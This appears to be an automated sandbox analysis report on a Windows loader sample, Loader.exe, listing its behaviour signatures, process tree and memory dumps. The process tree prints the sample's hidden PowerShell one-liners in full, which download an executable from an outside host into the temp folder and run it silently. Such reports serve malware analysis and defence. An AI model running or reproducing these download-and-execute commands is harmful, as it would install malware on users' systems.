Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
18/07/2026, 15:57
General
- Target Loader.exe
- Size 52KB
- Sample260718-tealdsat6s
- SHA256 e3c2ddc61d404f64f245775fde41a10eaabf37a4e859879508f121fc75318f2f
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK159220.exe; Start-Process -FilePath $env:TEMP\BK159220.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK159220.exe; Start-Process -FilePath $env:TEMP\BK159220.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK159220.exe; Start-Process -FilePath $env:TEMP\BK159220.exe -WindowStyle Hidden }"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK418447.exe; Start-Process -FilePath $env:TEMP\BK418447.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK418447.exe; Start-Process -FilePath $env:TEMP\BK418447.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK418447.exe; Start-Process -FilePath $env:TEMP\BK418447.exe -WindowStyle Hidden }"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
memory/1568-22-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/1568-23-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/1568-29-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/1568-18-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/1568-26-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/1568-25-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/1568-24-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/1568-17-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/1568-19-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/1568-21-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/1568-20-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/1568-16-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/1568-6-0x000001BD90550000-0x000001BD90572000-memory.dmp
memory/4520-12-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/4520-27-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/4520-15-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/4520-14-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/4520-0-0x00007FF844B9F000-0x00007FF844BA0000-memory.dmp
memory/4520-13-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/4520-11-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/4520-10-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/4520-9-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/4520-8-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/4520-7-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/4520-5-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp
memory/4520-32-0x00007FF844A10000-0x00007FF8453B4000-memory.dmp